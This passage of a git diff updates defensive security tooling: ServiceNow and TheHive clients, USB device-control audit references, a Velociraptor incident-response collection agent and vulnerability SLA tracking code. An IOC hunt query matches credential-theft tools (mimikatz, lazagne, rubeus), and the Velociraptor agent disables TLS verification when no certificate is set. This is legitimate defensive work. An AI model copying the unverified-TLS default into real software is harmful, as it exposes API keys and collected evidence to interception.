self.session.patch(f"{self.base_url}/table/incident/{sys_id}", json=update_data) + resp = self.session.patch(f"{self.base_url}/table/incident/{sys_id}", json=update_data, timeout=30) resp.raise_for_status() return resp.json().get("result", {}) def get_incident(self, number): """Get incident details by number.""" resp = self.session.get(f"{self.base_url}/table/incident", - params={"sysparm_query": f"number={number}"}) + params={"sysparm_query": f"number={number}"}, timeout=30) resp.raise_for_status() results = resp.json().get("result", []) return results[0] if results else None @@ -55,7 +55,7 @@ class ServiceNowClient: resp = self.session.get(f"{self.base_url}/table/incident", params={"sysparm_query": query, "sysparm_limit": limit, "sysparm_fields": "number,short_description,priority,state," - "opened_at,assigned_to,urgency"}) + "opened_at,assigned_to,urgency"}, timeout=30) resp.raise_for_status() return resp.json().get("result", []) @@ -85,7 +85,7 @@ class TheHiveClient: "severity": severity, "tlp": tlp, "tags": tags or ["security-incident"], "flag": False, "status": "Open"} - resp = self.session.post(f"{self.base_url}/api/case", json=data) + resp = self.session.post(f"{self.base_url}/api/case", json=data, timeout=30) resp.raise_for_status() result = resp.json() return {"id": result.get("_id"), "caseId": result.get("caseId"), @@ -95,7 +95,7 @@ class TheHiveClient: """Create a task within a case.""" data = {"title": title, "description": description, "group": group, "status": "Waiting"} - resp = self.session.post(f"{self.base_url}/api/case/{case_id}/task", json=data) + resp = self.session.post(f"{self.base_url}/api/case/{case_id}/task", json=data, timeout=30) resp.raise_for_status() return resp.json() @@ -103,7 +103,7 @@ class TheHiveClient: """Add an observable (IOC) to a case.""" obs_data = {"dataType": data_type, "data": data_value, "tlp": tlp, "message": message, "ioc": True} - resp = self.session.post(f"{self.base_url}/api/case/{case_id}/artifact", json=obs_data) + resp = self.session.post(f"{self.base_url}/api/case/{case_id}/artifact", json=obs_data, timeout=30) resp.raise_for_status() return resp.json() @@ -111,13 +111,13 @@ class TheHiveClient: """List cases with optional status filter.""" query = {"query": {"_field": "status", "_value": status}} resp = self.session.post(f"{self.base_url}/api/case/_search", - json=query, params={"range": f"0-{limit}"}) + json=query, params={"range": f"0-{limit}"}, timeout=30) resp.raise_for_status() return resp.json() def get_case(self, case_id): """Get case details.""" - resp = self.session.get(f"{self.base_url}/api/case/{case_id}") + resp = self.session.get(f"{self.base_url}/api/case/{case_id}", timeout=30) resp.raise_for_status() return resp.json() @@ -125,7 +125,7 @@ class TheHiveClient: """Close a case with summary.""" data = {"status": "Resolved", "summary": summary, "impactStatus": impact_status, "resolutionStatus": "TruePositive"} - resp = self.session.patch(f"{self.base_url}/api/case/{case_id}", json=data) + resp = self.session.patch(f"{self.base_url}/api/case/{case_id}", json=data, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/implementing-usb-device-control-policy/references/api-reference.md b/skills/implementing-usb-device-control-policy/references/api-reference.md index e351bfbb..a3f6d75a 100644 --- a/skills/implementing-usb-device-control-policy/references/api-reference.md +++ b/skills/implementing-usb-device-control-policy/references/api-reference.md @@ -1,27 +1,188 @@ -# API Reference: USB device control policy audit +# API Reference: USB Device Control Policy Audit -## API Details -PowerShell: Get-PnpDevice, udevadm info, registry HKLM USB control, device whitelist +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute PowerShell, udevadm, and registry query commands | +| `json` | Parse device inventory and policy status | +| `platform` | Detect operating system for platform-specific checks | +| `re` | Parse device IDs and USB vendor/product codes | ## Installation + ```bash -pip install subprocess +# No external packages — uses standard library and OS tools ``` -## Libraries +## Windows USB Device Audit -| Library | Use | -|---------|-----| -| `subprocess` | subprocess client/SDK | +### List Connected USB Devices (PowerShell) +```python +import subprocess +import json -## Authentication +def list_usb_devices_windows(): + cmd = [ + "powershell", "-Command", + "Get-PnpDevice -Class USB | Select-Object Status, Class, FriendlyName, InstanceId | ConvertTo-Json" + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.loads(result.stdout) if result.stdout else [] +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Check USB Storage Policy (Registry) +```python +def check_usb_storage_policy(): + """Check if USB mass storage is disabled via registry.""" + cmd = [ + "powershell", "-Command", + 'Get-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR" -Name Start | Select-Object Start | ConvertTo-Json' + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) + if result.stdout: + data = json.loads(result.stdout) + start_value = data.get("Start", 3) + return { + "usb_storage_disabled": start_value == 4, + "registry_value": start_value, + "policy": "disabled" if start_value == 4 else "enabled", + "detail": { + 3: "USB storage ENABLED (default)", + 4: "USB storage DISABLED", + }.get(start_value, f"Unknown value: {start_value}"), + } + return {"usb_storage_disabled": False, "error": "Could not read registry"} +``` + +### Check Group Policy for Removable Storage +```python +def check_gpo_removable_storage(): + """Check GPO settings for removable storage restrictions.""" + policies = { + "deny_read": r"HKLM\SOFTWARE\Policies\Microsoft\Windows\RemovableStorageDevices\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Deny_Read", + "deny_write": r"HKLM\SOFTWARE\Policies\Microsoft\Windows\RemovableStorageDevices\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Deny_Write", + "deny_execute": r"HKLM\SOFTWARE\Policies\Microsoft\Windows\RemovableStorageDevices\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Deny_Execute", + } + results = {} + for name, path in policies.items(): + cmd = ["reg", "query", path.rsplit("\\", 1)[0], "/v", path.rsplit("\\", 1)[1]] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + results[name] = "1" in result.stdout if result.returncode == 0 else False + return results +``` + +### USB Device History (Windows) +```python +def get_usb_history_windows(): + """List previously connected USB storage devices from registry.""" + cmd = [ + "powershell", "-Command", + 'Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\*\\*" | Select-Object FriendlyName, DeviceDesc, Mfg | ConvertTo-Json' + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + return json.loads(result.stdout) if result.stdout else [] +``` + +## Linux USB Device Audit + +### List USB Devices +```python +def list_usb_devices_linux(): + result = subprocess.run( + ["lsusb"], capture_output=True, text=True, timeout=10 + ) + devices = [] + for line in result.stdout.strip().split("\n"): + if line: + devices.append(line.strip()) + return devices +``` + +### Check USBGuard Policy +```python +def check_usbguard_status(): + """Check if USBGuard is installed and active.""" + # Check service status + result = subprocess.run( + ["systemctl", "is-active", "usbguard"], + capture_output=True, text=True, timeout=10, + ) + service_active = result.stdout.strip() == "active" + + # List current policy rules + rules = [] + if service_active: + result = subprocess.run( + ["usbguard", "list-rules"], + capture_output=True, text=True, timeout=10, + ) + rules = result.stdout.strip().split("\n") if result.stdout else [] + + return { + "usbguard_installed": service_active or result.returncode != 127, + "service_active": service_active, + "policy_rules": len(rules), + "default_policy": "block" if any("block" in r for r in rules) else "allow", + } +``` + +### Check udev Rules for USB Control +```python +def check_udev_rules(): + """Check for USB control udev rules.""" + result = subprocess.run( + ["find", "/etc/udev/rules.d/", "-name", "*usb*", "-type", "f"], + capture_output=True, text=True, timeout=10, + ) + rules_files = result.stdout.strip().split("\n") if result.stdout.strip() else [] + return {"udev_usb_rules": rules_files, "count": len(rules_files)} +``` + +## Device Whitelist Management + +```python +APPROVED_DEVICES = [ + {"vendor_id": "046d", "product_id": "c52b", "name": "Logitech Receiver"}, + {"vendor_id": "0781", "product_id": "5583", "name": "SanDisk Encrypted Drive"}, +] + +def check_against_whitelist(connected_devices, approved=APPROVED_DEVICES): + approved_ids = {(d["vendor_id"], d["product_id"]) for d in approved} + findings = [] + for device in connected_devices: + vid = device.get("vendor_id", "") + pid = device.get("product_id", "") + if (vid, pid) not in approved_ids: + findings.append({ + "device": device.get("name", "Unknown"), + "vendor_id": vid, + "product_id": pid, + "issue": "Device not in approved whitelist", + "severity": "medium", + }) + return findings +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "platform": "windows", + "usb_storage_disabled": true, + "gpo_deny_read": true, + "gpo_deny_write": true, + "connected_devices": 3, + "unapproved_devices": 1, + "historical_devices": 12, + "findings": [ + { + "device": "Unknown USB Mass Storage", + "vendor_id": "0951", + "product_id": "1666", + "issue": "Device not in approved whitelist", + "severity": "medium" + } + ] +} ``` diff --git a/skills/implementing-usb-device-control-policy/scripts/agent.py b/skills/implementing-usb-device-control-policy/scripts/agent.py index ae93884a..e18a4417 100644 --- a/skills/implementing-usb-device-control-policy/scripts/agent.py +++ b/skills/implementing-usb-device-control-policy/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """USB device control policy audit.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md b/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md index 923ace74..e2b94efd 100644 --- a/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md +++ b/skills/implementing-velociraptor-for-ir-collection/references/api-reference.md @@ -1,28 +1,167 @@ -# API Reference: Velociraptor IR collection audit +# API Reference: Velociraptor Incident Response Collection -## API Details -Velociraptor API: POST /api/v1/CreateFlow, GET /api/v1/GetFlowResults, VQL queries +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `pyvelociraptor` | Official Python bindings for Velociraptor gRPC API | +| `grpc` | gRPC transport for API communication | +| `json` | Parse VQL query results | +| `yaml` | Read Velociraptor API config files | ## Installation + ```bash -pip install requests subprocess +pip install pyvelociraptor grpcio pyyaml ``` -## Libraries - -| Library | Use | -|---------|-----| -| `requests` | requests client/SDK | -| `subprocess` | subprocess client/SDK | - ## Authentication -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +Velociraptor uses mTLS with an API config file generated by the server: + +```python +import pyvelociraptor +import json +import os + +# Generate API config on the Velociraptor server: +# velociraptor config api_client --name analyst > api_client.yaml + +config_path = os.environ.get("VELOCIRAPTOR_API_CONFIG", "api_client.yaml") +``` + +## gRPC API — Query Method + +The primary API method is `Query()`, which executes VQL (Velociraptor Query Language) statements: + +```python +import pyvelociraptor +import json + +def run_vql(config_path, query): + config = pyvelociraptor.LoadConfigFile(config_path) + grpc_channel = pyvelociraptor.grpc_channel(config) + stub = pyvelociraptor.api_pb2_grpc.APIStub(grpc_channel) + + request = pyvelociraptor.api_pb2.VQLCollectorArgs( + max_wait=10, + max_row=1000, + Query=[pyvelociraptor.api_pb2.VQLRequest( + VQL=query, + )], + ) + + results = [] + for response in stub.Query(request): + if response.Response: + rows = json.loads(response.Response) + results.extend(rows) + return results +``` + +## Common VQL Queries + +### List Connected Clients +```python +clients = run_vql(config_path, """ + SELECT client_id, os_info.hostname as hostname, + os_info.system as os, last_seen_at + FROM clients() + WHERE last_seen_at > now() - 3600 +""") +``` + +### Collect Artifacts from an Endpoint +```python +# Start a collection (hunt) on a specific client +collection = run_vql(config_path, """ + SELECT collect_client( + client_id='C.abc123def456', + artifacts=['Windows.KapeFiles.Targets'], + parameters=dict(Device='C:', VSSAnalysis='Y') + ) FROM scope() +""") +flow_id = collection[0]["collect_client"]["flow_id"] +``` + +### Monitor Collection Status +```python +status = run_vql(config_path, f""" + SELECT * FROM flows(client_id='C.abc123def456') + WHERE session_id = '{flow_id}' +""") +# Fields: state, create_time, total_collected_rows, total_uploaded_bytes +``` + +### Retrieve Flow Results +```python +results = run_vql(config_path, f""" + SELECT * FROM flow_results( + client_id='C.abc123def456', + flow_id='{flow_id}', + artifact='Windows.KapeFiles.Targets' + ) +""") +``` + +### Hunt Across All Clients +```python +hunt = run_vql(config_path, """ + SELECT hunt( + description='Search for suspicious scheduled tasks', + artifacts=['Windows.System.TaskScheduler'], + parameters=dict() + ) FROM scope() +""") +hunt_id = hunt[0]["hunt"]["hunt_id"] +``` + +### Search for IOCs Across Fleet +```python +ioc_results = run_vql(config_path, """ + SELECT * FROM hunt_results(hunt_id='H.abc123') + WHERE OSPath =~ 'mimikatz|lazagne|rubeus' +""") +``` + +## Key VQL Functions + +| Function | Purpose | +|----------|---------| +| `clients()` | List all enrolled clients | +| `collect_client()` | Start artifact collection on endpoint | +| `flows()` | List collection flows for a client | +| `flow_results()` | Get results from a completed flow | +| `hunt()` | Create a new hunt across clients | +| `hunt_results()` | Get results from a hunt | +| `artifact_definitions()` | List available artifacts | +| `source()` | Read server-side event log data | +| `upload()` | Upload files from endpoint to server | + +## Built-in Artifact Categories + +| Category | Examples | +|----------|----------| +| Windows Triage | `Windows.KapeFiles.Targets`, `Windows.EventLogs.Evtx` | +| Process Forensics | `Windows.System.Pslist`, `Generic.System.Pstree` | +| Persistence | `Windows.Persistence.PermanentWMIEvents`, `Windows.System.TaskScheduler` | +| Network | `Windows.Network.Netstat`, `Windows.Network.ArpCache` | +| Memory | `Windows.Detection.Yara.Process`, `Windows.System.VAD` | +| Linux | `Linux.Sys.Users`, `Linux.Search.FileFinder` | +| macOS | `MacOS.System.Users`, `MacOS.Applications.Chrome.History` | ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "client_id": "C.abc123def456", + "hostname": "WORKSTATION-01", + "os": "windows", + "flow_id": "F.xyz789", + "state": "FINISHED", + "artifacts_collected": ["Windows.KapeFiles.Targets"], + "total_collected_rows": 1542, + "total_uploaded_bytes": 52428800, + "create_time": "2025-01-15T10:30:00Z" +} ``` diff --git a/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py b/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py index 0d749211..1ec0199b 100644 --- a/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py +++ b/skills/implementing-velociraptor-for-ir-collection/scripts/agent.py @@ -1,61 +1,277 @@ #!/usr/bin/env python3 -"""Velociraptor IR collection audit.""" -import argparse, json, sys +"""Velociraptor incident response collection agent. + +Interfaces with the Velociraptor DFIR platform API to schedule artifact +collections on endpoints, retrieve results, and generate IR reports. +Supports common forensic artifacts including process listings, network +connections, autoruns, event logs, and file system evidence. +""" +import argparse +import json +import os +import sys +import time from datetime import datetime, timezone + try: import requests except ImportError: - requests = None + print("[!] 'requests' library required: pip install requests", file=sys.stderr) + sys.exit(1) -def audit_config(target, token): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) - if resp.status_code == 200: - data = resp.json() - if not data.get("enabled", True): - findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) - elif resp.status_code == 401: - findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings +try: + import grpc + HAS_GRPC = True +except ImportError: + HAS_GRPC = False + + +def get_velo_config(): + """Return Velociraptor API configuration.""" + api_url = os.environ.get("VELOCIRAPTOR_API_URL", "https://localhost:8001") + api_key = os.environ.get("VELOCIRAPTOR_API_KEY", "") + cert_path = os.environ.get("VELOCIRAPTOR_CERT", "") + return api_url.rstrip("/"), api_key, cert_path + + +def velo_api_call(api_url, api_key, endpoint, method="GET", data=None, cert_path=None): + """Make an authenticated API call to Velociraptor.""" + url = f"{api_url}{endpoint}" + headers = { + "Authorization": f"Bearer {api_key}", + "Content-Type": "application/json", + } + verify = cert_path if cert_path else False + if method == "POST": + resp = requests.post(url, headers=headers, json=data, verify=verify, timeout=60) + else: + resp = requests.get(url, headers=headers, verify=verify, timeout=60) + resp.raise_for_status() + return resp.json() + + +def search_clients(api_url, api_key, query, cert_path=None): + """Search for Velociraptor clients by hostname, label, or client ID.""" + print(f"[*] Searching for clients: {query}") + data = {"query": query, "count": 100} + result = velo_api_call(api_url, api_key, "/api/v1/SearchClients", "POST", data, cert_path) + clients = result.get("items", []) + print(f"[+] Found {len(clients)} client(s)") + for c in clients: + os_info = c.get("os_info", {}) + print(f" {c.get('client_id', 'N/A'):20s} | " + f"{os_info.get('hostname', 'unknown'):20s} | " + f"{os_info.get('system', 'unknown'):10s} | " + f"Last seen: {c.get('last_seen_at', 'N/A')}") + return clients + + +def collect_artifact(api_url, api_key, client_id, artifacts, parameters=None, cert_path=None): + """Schedule an artifact collection on a specific client.""" + print(f"[*] Scheduling collection on {client_id}: {', '.join(artifacts)}") + specs = [] + for artifact in artifacts: + spec = {"artifact": artifact} + if parameters and artifact in parameters: + spec["parameters"] = {"env": [ + {"key": k, "value": v} for k, v in parameters[artifact].items() + ]} + specs.append(spec) + + data = { + "client_id": client_id, + "artifacts": artifacts, + "specs": specs, + } + result = velo_api_call(api_url, api_key, "/api/v1/CollectArtifact", "POST", data, cert_path) + flow_id = result.get("flow_id", "") + print(f"[+] Collection started, flow ID: {flow_id}") + return flow_id + + +def get_flow_status(api_url, api_key, client_id, flow_id, cert_path=None): + """Check the status of a collection flow.""" + data = {"client_id": client_id, "flow_id": flow_id} + result = velo_api_call(api_url, api_key, "/api/v1/GetFlowDetails", "POST", data, cert_path) + context = result.get("context", {}) + state = context.get("state", "UNSET") + return state, context + + +def wait_for_collection(api_url, api_key, client_id, flow_id, max_wait=300, cert_path=None): + """Poll until a collection flow completes.""" + print(f"[*] Waiting for collection to complete (max {max_wait}s)...") + elapsed = 0 + interval = 10 + while elapsed < max_wait: + state, context = get_flow_status(api_url, api_key, client_id, flow_id, cert_path) + if state == "FINISHED": + total_rows = context.get("total_collected_rows", 0) + total_bytes = context.get("total_uploaded_bytes", 0) + print(f"[+] Collection complete: {total_rows} rows, " + f"{total_bytes / 1024:.1f} KB uploaded") + return True, context + if state == "ERROR": + print(f"[!] Collection failed: {context.get('status', 'unknown')}", file=sys.stderr) + return False, context + print(f" State: {state} ({elapsed}s elapsed)") + time.sleep(interval) + elapsed += interval + print("[!] Timed out waiting for collection", file=sys.stderr) + return False, {} + + +def get_flow_results(api_url, api_key, client_id, flow_id, artifact, cert_path=None): + """Retrieve collected artifact results.""" + print(f"[*] Retrieving results for {artifact}") + data = { + "client_id": client_id, + "flow_id": flow_id, + "artifact": artifact, + "count": 10000, + } + result = velo_api_call(api_url, api_key, "/api/v1/GetTable", "POST", data, cert_path) + rows = result.get("rows", []) + columns = result.get("columns", []) + print(f"[+] Retrieved {len(rows)} row(s), {len(columns)} column(s)") + return rows, columns + + +IR_ARTIFACT_SETS = { + "triage": [ + "Windows.System.Pslist", + "Windows.Network.Netstat", + "Windows.Sys.Users", + "Windows.System.TaskScheduler", + "Generic.System.Pstree", + ], + "persistence": [ + "Windows.Sysinternals.Autoruns", + "Windows.System.TaskScheduler", + "Windows.Registry.Run", + "Windows.System.Services", + ], + "network": [ + "Windows.Network.Netstat", + "Windows.Network.ArpCache", + "Windows.Network.DNSCache", + "Windows.Network.InterfaceAddresses", + ], + "logs": [ + "Windows.EventLogs.Cleared", + "Windows.EventLogs.RDPAuth", + "Windows.EventLogs.PowershellScriptblock", + ], + "linux_triage": [ + "Linux.Sys.Pslist", + "Linux.Network.Netstat", + "Linux.Sys.Users", + "Linux.Sys.Crontab", + "Linux.Sys.LastUserLogin", + ], +} + + +def format_summary(client_id, artifacts, flow_context, results_summary): + """Print collection summary.""" + print(f"\n{'='*60}") + print(f" Velociraptor IR Collection Report") + print(f"{'='*60}") + print(f" Client ID : {client_id}") + print(f" Flow ID : {flow_context.get('session_id', 'N/A')}") + print(f" State : {flow_context.get('state', 'N/A')}") + print(f" Artifacts : {len(artifacts)}") + print(f" Total Rows : {flow_context.get('total_collected_rows', 0)}") + + for artifact_name, row_count in results_summary.items(): + print(f" {artifact_name:50s}: {row_count} rows") -def check_compliance(target, token): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} - try: - resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) - if resp.status_code == 200: - for item in resp.json().get("checks", []): - if item.get("status") != "PASS": - findings.append({"check": item.get("name"), "status": item.get("status"), - "severity": item.get("severity", "MEDIUM")}) - except requests.RequestException: - pass - return findings def main(): - p = argparse.ArgumentParser(description="Velociraptor IR collection audit") - p.add_argument("--target", required=True, help="Target URL") - p.add_argument("--token", required=True, help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Velociraptor IR collection audit") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} - report["findings"].extend(audit_config(a.target, a.token)) - report["findings"].extend(check_compliance(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Velociraptor IR collection agent" + ) + sub = parser.add_subparsers(dest="command") + + p_search = sub.add_parser("search", help="Search for clients") + p_search.add_argument("--query", required=True, help="Search query (hostname, label, client ID)") + + p_collect = sub.add_parser("collect", help="Collect artifacts from client") + p_collect.add_argument("--client-id", required=True, help="Velociraptor client ID") + p_collect.add_argument("--artifacts", nargs="+", help="Specific artifact names to collect") + p_collect.add_argument("--preset", choices=list(IR_ARTIFACT_SETS.keys()), + help="Use a predefined IR artifact set") + p_collect.add_argument("--wait", type=int, default=300, help="Max wait time in seconds") + + p_status = sub.add_parser("status", help="Check collection status") + p_status.add_argument("--client-id", required=True) + p_status.add_argument("--flow-id", required=True) + + parser.add_argument("--api-url", help="Velociraptor API URL (or VELOCIRAPTOR_API_URL env)") + parser.add_argument("--api-key", help="API key (or VELOCIRAPTOR_API_KEY env)") + parser.add_argument("--cert", help="CA cert path (or VELOCIRAPTOR_CERT env)") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if not args.command: + parser.print_help() + sys.exit(1) + + if args.api_url: + os.environ["VELOCIRAPTOR_API_URL"] = args.api_url + if args.api_key: + os.environ["VELOCIRAPTOR_API_KEY"] = args.api_key + if args.cert: + os.environ["VELOCIRAPTOR_CERT"] = args.cert + + api_url, api_key, cert_path = get_velo_config() + if not api_key: + print("[!] Set VELOCIRAPTOR_API_KEY env var or use --api-key", file=sys.stderr) + sys.exit(1) + + result = {} + + if args.command == "search": + clients = search_clients(api_url, api_key, args.query, cert_path) + result = {"action": "search", "query": args.query, "clients": clients} + + elif args.command == "collect": + artifacts = args.artifacts or IR_ARTIFACT_SETS.get(args.preset, []) + if not artifacts: + print("[!] Specify --artifacts or --preset", file=sys.stderr) + sys.exit(1) + flow_id = collect_artifact(api_url, api_key, args.client_id, artifacts, cert_path=cert_path) + success, context = wait_for_collection(api_url, api_key, args.client_id, flow_id, args.wait, cert_path) + results_summary = {} + if success: + for artifact in artifacts: + try: + rows, cols = get_flow_results(api_url, api_key, args.client_id, flow_id, artifact, cert_path) + results_summary[artifact] = len(rows) + except Exception as e: + results_summary[artifact] = f"Error: {e}" + format_summary(args.client_id, artifacts, context, results_summary) + result = {"action": "collect", "client_id": args.client_id, "flow_id": flow_id, + "state": context.get("state", "UNKNOWN"), "artifacts": results_summary} + + elif args.command == "status": + state, context = get_flow_status(api_url, api_key, args.client_id, args.flow_id, cert_path) + print(f"[*] Flow {args.flow_id}: {state}") + result = {"action": "status", "flow_id": args.flow_id, "state": state, "context": context} + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "Velociraptor", + "result": result, + } + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/implementing-vulnerability-management-with-greenbone/scripts/agent.py b/skills/implementing-vulnerability-management-with-greenbone/scripts/agent.py index fc1f9c83..5013b972 100644 --- a/skills/implementing-vulnerability-management-with-greenbone/scripts/agent.py +++ b/skills/implementing-vulnerability-management-with-greenbone/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import sys from collections import Counter, defaultdict from datetime import datetime from pathlib import Path @@ -12,7 +11,6 @@ try: from gvm.connections import UnixSocketConnection, TLSConnection from gvm.protocols.gmp import Gmp from gvm.transforms import EtreeTransform - from lxml import etree HAS_GVM = True except ImportError: HAS_GVM = False diff --git a/skills/implementing-vulnerability-remediation-sla/SKILL.md b/skills/implementing-vulnerability-remediation-sla/SKILL.md index 017cdaf0..bd87f6e8 100644 --- a/skills/implementing-vulnerability-remediation-sla/SKILL.md +++ b/skills/implementing-vulnerability-remediation-sla/SKILL.md @@ -46,7 +46,7 @@ Vulnerability remediation SLAs define mandatory timeframes for patching or mitig - EPSS score > 0.5 (50% exploitation probability) - Previous breach via similar vulnerability type -## Implementation Steps +## Workflow ### Step 1: Define Asset Tiers ``` diff --git a/skills/implementing-vulnerability-remediation-sla/references/api-reference.md b/skills/implementing-vulnerability-remediation-sla/references/api-reference.md index 2b214ff0..25f16f4d 100644 --- a/skills/implementing-vulnerability-remediation-sla/references/api-reference.md +++ b/skills/implementing-vulnerability-remediation-sla/references/api-reference.md @@ -1,28 +1,159 @@ -# API Reference: Vulnerability remediation SLA tracking +# API Reference: Vulnerability Remediation SLA Tracking -## API Details -SLA tiers: Critical=24h, High=72h, Medium=30d, Low=90d, Tenable/Qualys API +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | Fetch vulnerability data from scanner APIs | +| `json` | Parse vulnerability and asset data | +| `datetime` | Calculate SLA deadlines, time-to-remediation | +| `csv` | Export SLA compliance reports | ## Installation + ```bash -pip install requests datetime +pip install requests ``` -## Libraries +## SLA Tiers -| Library | Use | -|---------|-----| -| `requests` | requests client/SDK | -| `datetime` | datetime client/SDK | +| Severity | CVSS Range | SLA Deadline | Description | +|----------|------------|-------------|-------------| +| Critical | 9.0 - 10.0 | 24 hours | Actively exploited or trivially exploitable | +| High | 7.0 - 8.9 | 72 hours | Remote code execution, privilege escalation | +| Medium | 4.0 - 6.9 | 30 days | Requires user interaction or local access | +| Low | 0.1 - 3.9 | 90 days | Informational, minimal impact | -## Authentication +## Core Operations -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Define SLA Configuration +```python +from datetime import datetime, timedelta + +SLA_TIERS = { + "critical": timedelta(hours=24), + "high": timedelta(hours=72), + "medium": timedelta(days=30), + "low": timedelta(days=90), +} + +def get_sla_deadline(severity, discovery_date): + tier = severity.lower() + sla_window = SLA_TIERS.get(tier, timedelta(days=90)) + return discovery_date + sla_window +``` + +### Calculate SLA Status for a Vulnerability +```python +def calculate_sla_status(vuln): + discovery = datetime.fromisoformat(vuln["discovery_date"]) + deadline = get_sla_deadline(vuln["severity"], discovery) + now = datetime.now() + + if vuln.get("remediated_date"): + remediated = datetime.fromisoformat(vuln["remediated_date"]) + return { + "cve": vuln["cve"], + "status": "remediated", + "met_sla": remediated <= deadline, + "time_to_remediate_hours": (remediated - discovery).total_seconds() / 3600, + } + + overdue = now > deadline + hours_remaining = (deadline - now).total_seconds() / 3600 if not overdue else 0 + hours_overdue = (now - deadline).total_seconds() / 3600 if overdue else 0 + + return { + "cve": vuln["cve"], + "status": "overdue" if overdue else "open", + "severity": vuln["severity"], + "deadline": deadline.isoformat(), + "hours_remaining": round(hours_remaining, 1), + "hours_overdue": round(hours_overdue, 1), + } +``` + +### Fetch Vulnerabilities from Tenable +```python +import requests +import os + +TENABLE_URL = "https://cloud.tenable.com" +headers = { + "X-ApiKeys": f"accessKey={os.environ['TENABLE_ACCESS_KEY']};secretKey={os.environ['TENABLE_SECRET_KEY']}", +} + +def get_open_vulnerabilities(): + resp = requests.get( + f"{TENABLE_URL}/workbenches/vulnerabilities", + headers=headers, + params={"date_range": 90, "filter.0.filter": "severity", "filter.0.value": "4,3"}, + timeout=60, + ) + resp.raise_for_status() + return resp.json().get("vulnerabilities", []) +``` + +### Generate SLA Compliance Report +```python +def generate_sla_report(vulnerabilities): + report = { + "total": len(vulnerabilities), + "by_status": {"open": 0, "overdue": 0, "remediated": 0}, + "by_severity": {"critical": 0, "high": 0, "medium": 0, "low": 0}, + "sla_compliance_rate": 0.0, + "overdue_vulns": [], + "mean_time_to_remediate": {}, + } + + remediated_times = {"critical": [], "high": [], "medium": [], "low": []} + + for vuln in vulnerabilities: + status = calculate_sla_status(vuln) + report["by_status"][status["status"]] += 1 + report["by_severity"][vuln["severity"].lower()] += 1 + + if status["status"] == "overdue": + report["overdue_vulns"].append(status) + if status["status"] == "remediated": + sev = vuln["severity"].lower() + remediated_times[sev].append(status["time_to_remediate_hours"]) + + total_with_deadline = report["by_status"]["remediated"] + report["by_status"]["overdue"] + if total_with_deadline > 0: + met_sla = sum(1 for v in vulnerabilities + if calculate_sla_status(v).get("met_sla", False)) + report["sla_compliance_rate"] = round(met_sla / total_with_deadline * 100, 1) + + for sev, times in remediated_times.items(): + if times: + report["mean_time_to_remediate"][sev] = round(sum(times) / len(times), 1) + + return report +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +{ + "report_date": "2025-01-15", + "total": 245, + "by_status": {"open": 180, "overdue": 23, "remediated": 42}, + "by_severity": {"critical": 5, "high": 28, "medium": 112, "low": 100}, + "sla_compliance_rate": 87.5, + "mean_time_to_remediate": { + "critical": 18.5, + "high": 52.3, + "medium": 480.0, + "low": 1200.0 + }, + "overdue_vulns": [ + { + "cve": "CVE-2024-21887", + "severity": "critical", + "hours_overdue": 48.5, + "deadline": "2025-01-13T10:00:00" + } + ] +} ``` diff --git a/skills/implementing-vulnerability-remediation-sla/scripts/agent.py b/skills/implementing-vulnerability-remediation-sla/scripts/agent.py index b84018f8..953000e5 100644 --- 